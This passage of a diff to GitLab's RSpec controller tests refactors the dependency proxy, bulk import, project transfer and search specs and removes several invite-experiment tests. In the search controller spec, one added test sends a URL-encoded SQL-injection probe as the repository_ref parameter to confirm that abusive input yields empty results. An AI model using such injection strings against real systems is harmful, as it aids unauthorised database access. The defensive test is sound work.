--- a/spec/controllers/groups/dependency_proxies_controller_spec.rb
+++ b/spec/controllers/groups/dependency_proxies_controller_spec.rb
@@ -3,8 +3,9 @@
require 'spec_helper'
RSpec.describe Groups::DependencyProxiesController do
- let(:group) { create(:group) }
- let(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be_with_reload(:dependency_proxy_group_setting) { create(:dependency_proxy_group_setting, group: group) }
+ let_it_be(:user) { create(:user) }
before do
group.add_owner(user)
@@ -12,62 +13,37 @@ RSpec.describe Groups::DependencyProxiesController do
end
describe 'GET #show' do
- context 'feature enabled' do
- before do
- enable_dependency_proxy
- end
-
- it 'returns 200 and renders the view' do
- get :show, params: { group_id: group.to_param }
+ subject { get :show, params: { group_id: group.to_param } }
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to render_template('groups/dependency_proxies/show')
- end
+ before do
+ stub_config(dependency_proxy: { enabled: config_enabled })
end
- it 'returns 404 when feature is disabled' do
- disable_dependency_proxy
+ context 'with global config enabled' do
+ let(:config_enabled) { true }
- get :show, params: { group_id: group.to_param }
+ context 'with the setting enabled' do
+ it 'returns 200 and renders the view' do
+ subject
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- describe 'PUT #update' do
- context 'feature enabled' do
- before do
- enable_dependency_proxy
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('groups/dependency_proxies/show')
+ end
end
- it 'redirects back to show page' do
- put :update, params: update_params
+ context 'with the setting disabled' do
+ before do
+ dependency_proxy_group_setting.update!(enabled: false)
+ end
- expect(response).to have_gitlab_http_status(:found)
+ it_behaves_like 'returning response status', :not_found
end
end
- it 'returns 404 when feature is disabled' do
- put :update, params: update_params
+ context 'with global config disabled' do
+ let(:config_enabled) { false }
- expect(response).to have_gitlab_http_status(:not_found)
+ it_behaves_like 'returning response status', :not_found
end
-
- def update_params
- {
- group_id: group.to_param,
- dependency_proxy_group_setting: { enabled: true }
- }
- end
- end
-
- def enable_dependency_proxy
- stub_config(dependency_proxy: { enabled: true })
-
- group.create_dependency_proxy_setting!(enabled: true)
- end
-
- def disable_dependency_proxy
- group.create_dependency_proxy_setting!(enabled: false)
end
end
diff --git a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
index b22307578ab..0f262d93d4c 100644
--- a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
+++ b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
@@ -170,7 +170,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do
let(:pull_response) { { status: :success, manifest: manifest, from_cache: false } }
before do
- allow_next_instance_of(DependencyProxy::FindOrCreateManifestService) do |instance|
+ allow_next_instance_of(DependencyProxy::FindCachedManifestService) do |instance|
allow(instance).to receive(:execute).and_return(pull_response)
end
end
diff --git a/spec/controllers/groups/group_members_controller_spec.rb b/spec/controllers/groups/group_members_controller_spec.rb
index 4b17326de09..04a9b9f5250 100644
--- a/spec/controllers/groups/group_members_controller_spec.rb
+++ b/spec/controllers/groups/group_members_controller_spec.rb
@@ -293,7 +293,6 @@ RSpec.describe Groups::GroupMembersController do
context 'when `expires_at` is set' do
it 'returns correct json response' do
expect(json_response).to eq({
- "expires_in" => "about 1 month",
"expires_soon" => false,
"expires_at_formatted" => expiry_date.to_time.in_time_zone.to_s(:medium)
})
diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb
index 2525146c673..a7625e65603 100644
--- a/spec/controllers/groups_controller_spec.rb
+++ b/spec/controllers/groups_controller_spec.rb
@@ -82,16 +82,6 @@ RSpec.describe GroupsController, factory_default: :keep do
expect(subject).to redirect_to group_import_path(group)
end
end
-
- context 'publishing the invite_members_for_task experiment' do
- it 'publishes the experiment data to the client' do
- wrapped_experiment(experiment(:invite_members_for_task)) do |e|
- expect(e).to receive(:publish_to_client)
- end
-
- get :show, params: { id: group.to_param, open_modal: 'invite_members_for_task' }, format: format
- end
- end
end
describe 'GET #details' do
diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb
index 3adba32c74a..a7089005abf 100644
--- a/spec/controllers/import/bulk_imports_controller_spec.rb
+++ b/spec/controllers/import/bulk_imports_controller_spec.rb
@@ -215,9 +215,13 @@ RSpec.describe Import::BulkImportsController do
let(:pat) { "fake-pat" }
let(:bulk_import_params) do
[{ "source_type" => "group_entity",
- "source_full_path" => "full_path",
- "destination_name" => "destination_name",
- "destination_namespace" => "root" }]
+ "source_full_path" => "full_path",
+ "destination_name" => "destination_name",
+ "destination_namespace" => "root" },
+ { "source_type" => "group_entity2",
+ "source_full_path" => "full_path2",
+ "destination_name" => "destination_name2",
+ "destination_namespace" => "root" }]
end
before do
@@ -225,29 +229,23 @@ RSpec.describe Import::BulkImportsController do
session[:bulk_import_gitlab_url] = instance_url
end
- it 'executes BulkImpors::CreatetService' do
+ it 'executes BulkImpors::CreateService' do
+ error_response = ServiceResponse.error(message: 'Record invalid', http_status: :unprocessable_entity)
+
expect_next_instance_of(
- ::BulkImports::CreateService, user, bulk_import_params, { url: instance_url, access_token: pat }) do |service|
+ ::BulkImports::CreateService, user, bulk_import_params[0], { url: instance_url, access_token: pat }) do |service|
allow(service).to receive(:execute).and_return(ServiceResponse.success(payload: bulk_import))
end
-
- post :create, params: { bulk_import: bulk_import_params }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq({ id: bulk_import.id }.to_json)
- end
-
- it 'returns error when validation fails' do
- error_response = ServiceResponse.error(message: 'Record invalid', http_status: :unprocessable_entity)
expect_next_instance_of(
- ::BulkImports::CreateService, user, bulk_import_params, { url: instance_url, access_token: pat }) do |service|
+ ::BulkImports::CreateService, user, bulk_import_params[1], { url: instance_url, access_token: pat }) do |service|
allow(service).to receive(:execute).and_return(error_response)
end
post :create, params: { bulk_import: bulk_import_params }
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(response.body).to eq({ error: 'Record invalid' }.to_json)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([{ "success" => true, "id" => bulk_import.id, "message" => nil },
+ { "success" => false, "id" => nil, "message" => "Record invalid" }])
end
end
end
diff --git a/spec/controllers/import/fogbugz_controller_spec.rb b/spec/controllers/import/fogbugz_controller_spec.rb
index 376c089df78..d351e1cc3f3 100644
--- a/spec/controllers/import/fogbugz_controller_spec.rb
+++ b/spec/controllers/import/fogbugz_controller_spec.rb
@@ -79,15 +79,18 @@ RSpec.describe Import::FogbugzController do
end
describe 'GET status' do
+ let(:repo) do
+ instance_double(Gitlab::FogbugzImport::Repository,
+ id: 'demo', name: 'vim', safe_name: 'vim', path: 'vim')
+ end
+
before do
- @repo = OpenStruct.new(id: 'demo', name: 'vim')
stub_client(valid?: true)
end
it_behaves_like 'import controller status' do
- let(:repo) { @repo }
- let(:repo_id) { @repo.id }
- let(:import_source) { @repo.name }
+ let(:repo_id) { repo.id }
+ let(:import_source) { repo.name }
let(:provider_name) { 'fogbugz' }
let(:client_repos_field) { :repos }
end
diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb
index d4091461062..c5e693e3489 100644
--- a/spec/controllers/invites_controller_spec.rb
+++ b/spec/controllers/invites_controller_spec.rb
@@ -97,52 +97,6 @@ RSpec.describe InvitesController do
)
end
- context 'when it is part of the invite_email_preview_text experiment' do
- let(:extra_params) { { invite_type: 'initial_email', experiment_name: 'invite_email_preview_text' } }
-
- it 'tracks the initial join click from email' do
- experiment = double(track: true)
- allow(controller).to receive(:experiment).with(:invite_email_preview_text, actor: member).and_return(experiment)
-
- request
-
- expect(experiment).to have_received(:track).with(:join_clicked)
- end
-
- context 'when member does not exist' do
- let(:raw_invite_token) { '_bogus_token_' }
-
- it 'does not track the experiment' do
- expect(controller).not_to receive(:experiment).with(:invite_email_preview_text, actor: member)
-
- request
- end
- end
- end
-
- context 'when it is part of the invite_email_from experiment' do
- let(:extra_params) { { invite_type: 'initial_email', experiment_name: 'invite_email_from' } }
-
- it 'tracks the initial join click from email' do
- experiment = double(track: true)
- allow(controller).to receive(:experiment).with(:invite_email_from, actor: member).and_return(experiment)
-
- request
-
- expect(experiment).to have_received(:track).with(:join_clicked)
- end
-
- context 'when member does not exist' do
- let(:raw_invite_token) { '_bogus_token_' }
-
- it 'does not track the experiment' do
- expect(controller).not_to receive(:experiment).with(:invite_email_from, actor: member)
-
- request
- end
- end
- end
-
context 'when member does not exist' do
let(:raw_invite_token) { '_bogus_token_' }
@@ -168,15 +122,6 @@ RSpec.describe InvitesController do
label: 'invite_email'
)
end
-
- context 'when it is not part of our invite email experiment' do
- it 'does not track via experiment', :aggregate_failures do
- expect(controller).not_to receive(:experiment).with(:invite_email_preview_text, actor: member)
- expect(controller).not_to receive(:experiment).with(:invite_email_from, actor: member)
-
- request
- end
- end
end
context 'when not logged in' do
diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb
index 8c8de2f79a3..e70b8af2068 100644
--- a/spec/controllers/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/omniauth_callbacks_controller_spec.rb
@@ -479,6 +479,19 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
post :saml, params: { SAMLResponse: mock_saml_response }
end
end
+
+ context 'with a blocked user trying to log in when there are hooks set up' do
+ let(:user) { create(:omniauth_user, extern_uid: 'my-uid', provider: 'saml') }
+
+ subject(:post_action) { post :saml, params: { SAMLResponse: mock_saml_response } }
+
+ before do
+ create(:system_hook)
+ user.block!
+ end
+
+ it { expect { post_action }.not_to raise_error }
+ end
end
describe 'enable admin mode' do
diff --git a/spec/controllers/profiles/emails_controller_spec.rb b/spec/controllers/profiles/emails_controller_spec.rb
index ce16632472f..214a893f0fa 100644
--- a/spec/controllers/profiles/emails_controller_spec.rb
+++ b/spec/controllers/profiles/emails_controller_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Profiles::EmailsController do
subject
expect(response).to have_gitlab_http_status(:redirect)
- expect(flash[:alert]).to eq(_('This action has been performed too many times. Try again later.'))
+ expect(flash[:alert]).to eq(_('This endpoint has been requested too many times. Try again later.'))
end
end
end
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index 68cccfa8bde..763c3e43e27 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -201,32 +201,6 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['issue_email_participants']).to contain_exactly({ "email" => participants[0].email }, { "email" => participants[1].email })
end
-
- context 'with the invite_members_in_comment experiment', :experiment do
- context 'when user can invite' do
- before do
- stub_experiments(invite_members_in_comment: :invite_member_link)
- project.add_maintainer(user)
- end
-
- it 'assigns the candidate experience and tracks the event' do
- expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s)
- .for(:invite_member_link)
- .with_context(namespace: project.root_ancestor)
- .on_next_instance
-
- get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid }
- end
- end
-
- context 'when user can not invite' do
- it 'does not track the event' do
- expect(experiment(:invite_members_in_comment)).not_to track(:view)
-
- get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid }
- end
- end
- end
end
describe 'GET #new' do
@@ -1197,6 +1171,15 @@ RSpec.describe Projects::IssuesController do
end
end
+ context 'when trying to create a task' do
+ it 'defaults to issue type' do
+ issue = post_new_issue(issue_type: 'task')
+
+ expect(issue.issue_type).to eq('issue')
+ expect(issue.work_item_type.base_type).to eq('issue')
+ end
+ end
+
it 'creates the issue successfully', :aggregate_failures do
issue = post_new_issue
diff --git a/spec/controllers/projects/learn_gitlab_controller_spec.rb b/spec/controllers/projects/learn_gitlab_controller_spec.rb
index 620982f73be..2d00fcbccf3 100644
--- a/spec/controllers/projects/learn_gitlab_controller_spec.rb
+++ b/spec/controllers/projects/learn_gitlab_controller_spec.rb
@@ -5,14 +5,15 @@ require 'spec_helper'
RSpec.describe Projects::LearnGitlabController do
describe 'GET #index' do
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, namespace: user.namespace) }
+ let_it_be(:project) { create(:project, namespace: create(:group)) }
let(:learn_gitlab_enabled) { true }
let(:params) { { namespace_id: project.namespace.to_param, project_id: project } }
- subject { get :index, params: params }
+ subject(:action) { get :index, params: params }
before do
+ project.namespace.add_owner(user)
allow(controller.helpers).to receive(:learn_gitlab_enabled?).and_return(learn_gitlab_enabled)
end
@@ -32,6 +33,10 @@ RSpec.describe Projects::LearnGitlabController do
it { is_expected.to have_gitlab_http_status(:not_found) }
end
+
+ it_behaves_like 'tracks assignment and records the subject', :invite_for_help_continuous_onboarding, :namespace do
+ subject { project.namespace }
+ end
end
end
end
diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
index 5b1c6777523..f7370a1a1ac 100644
--- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
@@ -496,6 +496,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
{
environment: nil,
merge_request: merge_request,
+ commit: nil,
diff_view: :inline,
merge_ref_head_diff: nil,
allow_tree_conflicts: true,
@@ -552,7 +553,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'serializes diffs with expected arguments' do
let(:collection) { Gitlab::Diff::FileCollection::Commit }
- let(:expected_options) { collection_arguments }
+ let(:expected_options) { collection_arguments.merge(commit: merge_request.commits(limit: 1).first) }
end
end
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index 46b332a8938..36b6df59ef5 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -42,32 +42,6 @@ RSpec.describe Projects::MergeRequestsController do
get :show, params: params.merge(extra_params)
end
- context 'with the invite_members_in_comment experiment', :experiment do
- context 'when user can invite' do
- before do
- stub_experiments(invite_members_in_comment: :invite_member_link)
- project.add_maintainer(user)
- end
-
- it 'assigns the candidate experience and tracks the event' do
- expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s)
- .for(:invite_member_link)
- .with_context(namespace: project.root_ancestor)
- .on_next_instance
-
- go
- end
- end
-
- context 'when user can not invite' do
- it 'does not track the event' do
- expect(experiment(:invite_members_in_comment)).not_to track(:view)
-
- go
- end
- end
- end
-
context 'with view param' do
before do
go(view: 'parallel')
@@ -367,7 +341,8 @@ RSpec.describe Projects::MergeRequestsController do
namespace_id: project.namespace,
project_id: project,
id: merge_request.iid,
- merge_request: mr_params
+ merge_request: mr_params,
+ serializer: 'basic'
}.merge(additional_params)
put :update, params: params
@@ -1377,7 +1352,7 @@ RSpec.describe Projects::MergeRequestsController do
'create' => 0,
'delete' => 0,
'update' => 1,
- 'job_name' => build.options.dig(:artifacts, :name).to_s
+ 'job_name' => build.name
)
)
)
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index 14c613ff9c4..3fe709a0d44 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -745,9 +745,28 @@ RSpec.describe Projects::PipelinesController do
describe 'GET #charts' do
let(:pipeline) { create(:ci_pipeline, project: project) }
- it_behaves_like 'tracking unique visits', :charts do
- let(:request_params) { { namespace_id: project.namespace, project_id: project, id: pipeline.id } }
- let(:target_id) { 'p_analytics_pipelines' }
+ [
+ {
+ chart_param: '',
+ event: 'p_analytics_ci_cd_pipelines'
+ },
+ {
+ chart_param: 'pipelines',
+ event: 'p_analytics_ci_cd_pipelines'
+ },
+ {
+ chart_param: 'deployment-frequency',
+ event: 'p_analytics_ci_cd_deployment_frequency'
+ },
+ {
+ chart_param: 'lead-time',
+ event: 'p_analytics_ci_cd_lead_time'
+ }
+ ].each do |tab|
+ it_behaves_like 'tracking unique visits', :charts do
+ let(:request_params) { { namespace_id: project.namespace, project_id: project, id: pipeline.id, chart: tab[:chart_param] } }
+ let(:target_id) { ['p_analytics_pipelines', tab[:event]] }
+ end
end
end
diff --git a/spec/controllers/projects/project_members_controller_spec.rb b/spec/controllers/projects/project_members_controller_spec.rb
index c352524ec14..d8ef95cf11a 100644
--- a/spec/controllers/projects/project_members_controller_spec.rb
+++ b/spec/controllers/projects/project_members_controller_spec.rb
@@ -369,7 +369,6 @@ RSpec.describe Projects::ProjectMembersController do
context 'when `expires_at` is set' do
it 'returns correct json response' do
expect(json_response).to eq({
- "expires_in" => "about 1 month",
"expires_soon" => false,
"expires_at_formatted" => expiry_date.to_time.in_time_zone.to_s(:medium)
})
diff --git a/spec/controllers/projects/repositories_controller_spec.rb b/spec/controllers/projects/repositories_controller_spec.rb
index cb2579b800a..b7eef3812a4 100644
--- a/spec/controllers/projects/repositories_controller_spec.rb
+++ b/spec/controllers/projects/repositories_controller_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe Projects::RepositoriesController do
describe 'rate limiting' do
it 'rate limits user when thresholds hit' do
- expect(controller).to receive(:archive_rate_limit_reached?).and_return(true)
+ allow(Gitlab::ApplicationRateLimiter).to receive(:throttled?).and_return(true)
get :archive, params: { namespace_id: project.namespace, project_id: project, id: 'master' }, format: "html"
diff --git a/spec/controllers/projects/serverless/functions_controller_spec.rb b/spec/controllers/projects/serverless/functions_controller_spec.rb
index 75135839a06..860bbc1c5cc 100644
--- a/spec/controllers/projects/serverless/functions_controller_spec.rb
+++ b/spec/controllers/projects/serverless/functions_controller_spec.rb
@@ -128,7 +128,7 @@ RSpec.describe Projects::Serverless::FunctionsController do
expect(json_response["functions"]).to all(
include(
- 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..-1]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}"
+ 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}"
)
)
end
@@ -166,7 +166,7 @@ RSpec.describe Projects::Serverless::FunctionsController do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to include(
- 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..-1]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}"
+ 'url' => "https://#{function_name}-#{serverless_domain_cluster.uuid[0..1]}a1#{serverless_domain_cluster.uuid[2..-3]}f2#{serverless_domain_cluster.uuid[-2..]}#{"%x" % environment.id}-#{environment.slug}.#{serverless_domain_cluster.domain}"
)
end
diff --git a/spec/controllers/projects/settings/ci_cd_controller_spec.rb b/spec/controllers/projects/settings/ci_cd_controller_spec.rb
index dc7066f6b61..d50f1aa1dd8 100644
--- a/spec/controllers/projects/settings/ci_cd_controller_spec.rb
+++ b/spec/controllers/projects/settings/ci_cd_controller_spec.rb
@@ -25,6 +25,17 @@ RSpec.describe Projects::Settings::CiCdController do
expect(response).to render_template(:show)
end
+ context 'with CI/CD disabled' do
+ before do
+ project.project_feature.update_attribute(:builds_access_level, ProjectFeature::DISABLED)
+ end
+
+ it 'renders show with 404 status code' do
+ get :show, params: { namespace_id: project.namespace, project_id: project }
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
context 'with group runners' do
let_it_be(:group_runner) { create(:ci_runner, :group, groups: [group]) }
let_it_be(:project_runner) { create(:ci_runner, :project, projects: [other_project]) }
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index dafa639a2d5..fd0f9985392 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -899,10 +899,34 @@ RSpec.describe ProjectsController do
describe '#transfer', :enable_admin_mode do
render_views
- let_it_be(:project, reload: true) { create(:project) }
+ let(:project) { create(:project) }
+
let_it_be(:admin) { create(:admin) }
let_it_be(:new_namespace) { create(:namespace) }
+ shared_examples 'project namespace is not changed' do |flash_message|
+ it 'project namespace is not changed' do
+ controller.instance_variable_set(:@project, project)
+ sign_in(admin)
+
+ old_namespace = project.namespace
+
+ put :transfer,
+ params: {
+ namespace_id: old_namespace.path,
+ new_namespace_id: new_namespace_id,
+ id: project.path
+ },
+ format: :js
+
+ project.reload
+
+ expect(project.namespace).to eq(old_namespace)
+ expect(response).to redirect_to(edit_project_path(project))
+ expect(flash[:alert]).to eq flash_message
+ end
+ end
+
it 'updates namespace' do
sign_in(admin)
@@ -917,30 +941,19 @@ RSpec.describe ProjectsController do
project.reload
expect(project.namespace).to eq(new_namespace)
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to redirect_to(edit_project_path(project))
end
context 'when new namespace is empty' do
- it 'project namespace is not changed' do
- controller.instance_variable_set(:@project, project)
- sign_in(admin)
+ let(:new_namespace_id) { nil }
- old_namespace = project.namespace
-
- put :transfer,
- params: {
- namespace_id: old_namespace.path,
- new_namespace_id: nil,
- id: project.path
- },
- format: :js
+ it_behaves_like 'project namespace is not changed', s_('TransferProject|Please select a new namespace for your project.')
+ end
- project.reload
+ context 'when new namespace is the same as the current namespace' do
+ let(:new_namespace_id) { project.namespace.id }
- expect(project.namespace).to eq(old_namespace)
- expect(response).to have_gitlab_http_status(:ok)
- expect(flash[:alert]).to eq s_('TransferProject|Please select a new namespace for your project.')
- end
+ it_behaves_like 'project namespace is not changed', s_('TransferProject|Project is already in this namespace.')
end
end
@@ -1092,7 +1105,7 @@ RSpec.describe ProjectsController do
expect(forked_project.reload.forked?).to be_falsey
expect(flash[:notice]).to eq(s_('The fork relationship has been removed.'))
- expect(response).to render_template(:remove_fork)
+ expect(response).to redirect_to(edit_project_path(forked_project))
end
end
@@ -1108,7 +1121,7 @@ RSpec.describe ProjectsController do
format: :js)
expect(flash[:notice]).to be_nil
- expect(response).to render_template(:remove_fork)
+ expect(response).to redirect_to(edit_project_path(unforked_project))
end
end
end
diff --git a/spec/controllers/registrations/welcome_controller_spec.rb b/spec/controllers/registrations/welcome_controller_spec.rb
index 0a1e6b8ec8f..c444875bf74 100644
--- a/spec/controllers/registrations/welcome_controller_spec.rb
+++ b/spec/controllers/registrations/welcome_controller_spec.rb
@@ -101,10 +101,6 @@ RSpec.describe Registrations::WelcomeController do
context 'when tasks to be done are assigned' do
let!(:member1) { create(:group_member, user: user, tasks_to_be_done: %w(ci code)) }
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
it { is_expected.to redirect_to(issues_dashboard_path(assignee_username: user.username)) }
end
end
diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb
index baf500c2b57..3f7941b3456 100644
--- a/spec/controllers/registrations_controller_spec.rb
+++ b/spec/controllers/registrations_controller_spec.rb
@@ -159,12 +159,11 @@ RSpec.describe RegistrationsController do
let_it_be(:member) { create(:project_member, :invited, invite_email: user_params.dig(:user, :email)) }
let(:originating_member_id) { member.id }
- let(:extra_session_params) { {} }
let(:session_params) do
{
invite_email: user_params.dig(:user, :email),
originating_member_id: originating_member_id
- }.merge extra_session_params
+ }
end
context 'when member exists from the session key value' do
@@ -193,74 +192,6 @@ RSpec.describe RegistrationsController do
)
end
end
-
- context 'with the invite_email_preview_text experiment', :experiment do
- let(:extra_session_params) { { invite_email_experiment_name: 'invite_email_preview_text' } }
-
- context 'when member and invite_email_experiment_name exists from the session key value' do
- it 'tracks the invite acceptance' do
- expect(experiment(:invite_email_preview_text)).to track(:accepted)
- .with_context(actor: member)
- .on_next_instance
-
- subject
- end
- end
-
- context 'when member does not exist from the session key value' do
- let(:originating_member_id) { -1 }
-
- it 'does not track invite acceptance' do
- expect(experiment(:invite_email_preview_text)).not_to track(:accepted)
-
- subject
- end
- end
-
- context 'when invite_email_experiment_name does not exist from the session key value' do
- let(:extra_session_params) { {} }
-
- it 'does not track invite acceptance' do
- expect(experiment(:invite_email_preview_text)).not_to track(:accepted)
-
- subject
- end
- end
- end
-
- context 'with the invite_email_preview_text experiment', :experiment do
- let(:extra_session_params) { { invite_email_experiment_name: 'invite_email_from' } }
-
- context 'when member and invite_email_experiment_name exists from the session key value' do
- it 'tracks the invite acceptance' do
- expect(experiment(:invite_email_from)).to track(:accepted)
- .with_context(actor: member)
- .on_next_instance
-
- subject
- end
- end
-
- context 'when member does not exist from the session key value' do
- let(:originating_member_id) { -1 }
-
- it 'does not track invite acceptance' do
- expect(experiment(:invite_email_from)).not_to track(:accepted)
-
- subject
- end
- end
-
- context 'when invite_email_experiment_name does not exist from the session key value' do
- let(:extra_session_params) { {} }
-
- it 'does not track invite acceptance' do
- expect(experiment(:invite_email_from)).not_to track(:accepted)
-
- subject
- end
- end
- end
end
context 'when invite email matches email used on registration' do
diff --git a/spec/controllers/repositories/git_http_controller_spec.rb b/spec/controllers/repositories/git_http_controller_spec.rb
index b5cd14154a3..4a6e745cd63 100644
--- a/spec/controllers/repositories/git_http_controller_spec.rb
+++ b/spec/controllers/repositories/git_http_controller_spec.rb
@@ -90,6 +90,14 @@ RSpec.describe Repositories::GitHttpController do
end
end
end
+
+ context 'when the user is a deploy token' do
+ it_behaves_like Repositories::GitHttpController do
+ let(:container) { project }
+ let(:user) { create(:deploy_token, :project, projects: [project]) }
+ let(:access_checker_class) { Gitlab::GitAccess }
+ end
+ end
end
context 'when repository container is a project wiki' do
diff --git a/spec/controllers/root_controller_spec.rb b/spec/controllers/root_controller_spec.rb
index dbf1b3baf25..c6a8cee2f70 100644
--- a/spec/controllers/root_controller_spec.rb
+++ b/spec/controllers/root_controller_spec.rb
@@ -131,28 +131,10 @@ RSpec.describe RootController do
context 'who uses the default dashboard setting', :aggregate_failures do
render_views
- context 'with customize homepage banner' do
- it 'renders the default dashboard' do
- get :index
-
- expect(response).to render_template 'root/index'
- expect(response.body).to have_css('.js-customize-homepage-banner')
- end
- end
-
- context 'without customize homepage banner' do
- before do
- Users::DismissUserCalloutService.new(
- container: nil, current_user: user, params: { feature_name: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE }
- ).execute
- end
-
- it 'renders the default dashboard' do
- get :index
+ it 'renders the default dashboard' do
+ get :index
- expect(response).to render_template 'root/index'
- expect(response.body).not_to have_css('.js-customize-homepage-banner')
- end
+ expect(response).to render_template 'dashboard/projects/index'
end
end
end
diff --git a/spec/controllers/search_controller_spec.rb b/spec/controllers/search_controller_spec.rb
index 73e8e0c7dd4..a54f16ec237 100644
--- a/spec/controllers/search_controller_spec.rb
+++ b/spec/controllers/search_controller_spec.rb
@@ -127,21 +127,26 @@ RSpec.describe SearchController do
context 'check search term length' do
let(:search_queries) do
- char_limit = SearchService::SEARCH_CHAR_LIMIT
- term_limit = SearchService::SEARCH_TERM_LIMIT
+ char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
+ term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
+ term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
{
- chars_under_limit: ('a' * (char_limit - 1)),
- chars_over_limit: ('a' * (char_limit + 1)),
- terms_under_limit: ('abc ' * (term_limit - 1)),
- terms_over_limit: ('abc ' * (term_limit + 1))
+ chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
+ chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
+ terms_under_limit: ('abc ' * (term_limit - 1)),
+ terms_over_limit: ('abc ' * (term_limit + 1)),
+ term_length_over_limit: ('a' * (term_char_limit + 1)),
+ term_length_under_limit: ('a' * (term_char_limit - 1))
}
end
where(:string_name, :expectation) do
- :chars_under_limit | :not_to_set_flash
- :chars_over_limit | :set_chars_flash
- :terms_under_limit | :not_to_set_flash
- :terms_over_limit | :set_terms_flash
+ :chars_under_limit | :not_to_set_flash
+ :chars_over_limit | :set_chars_flash
+ :terms_under_limit | :not_to_set_flash
+ :terms_over_limit | :set_terms_flash
+ :term_length_under_limit | :not_to_set_flash
+ :term_length_over_limit | :not_to_set_flash # abuse, so do nothing.
end
with_them do
@@ -172,6 +177,12 @@ RSpec.describe SearchController do
expect(response).to redirect_to new_user_session_path
end
+
+ it 'redirects to login page when trying to circumvent the restriction' do
+ get :show, params: { scope: 'projects', project_id: non_existing_record_id, search: '*' }
+
+ expect(response).to redirect_to new_user_session_path
+ end
end
context 'for authenticated user' do
@@ -181,6 +192,14 @@ RSpec.describe SearchController do
expect(response).to have_gitlab_http_status(:ok)
end
end
+
+ context 'handling abusive search_terms' do
+ it 'succeeds but does NOT do anything' do
+ get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
+ end
+ end
end
context 'tab feature flags' do
@@ -215,16 +234,6 @@ RSpec.describe SearchController do
end
end
- it 'strips surrounding whitespace from search query' do
- get :show, params: { scope: 'notes', search: ' foobar ' }
- expect(assigns[:search_term]).to eq 'foobar'
- end
-
- it 'strips surrounding whitespace from autocomplete term' do
- expect(controller).to receive(:search_autocomplete_opts).with('youcompleteme')
- get :autocomplete, params: { term: ' youcompleteme ' }
- end
-
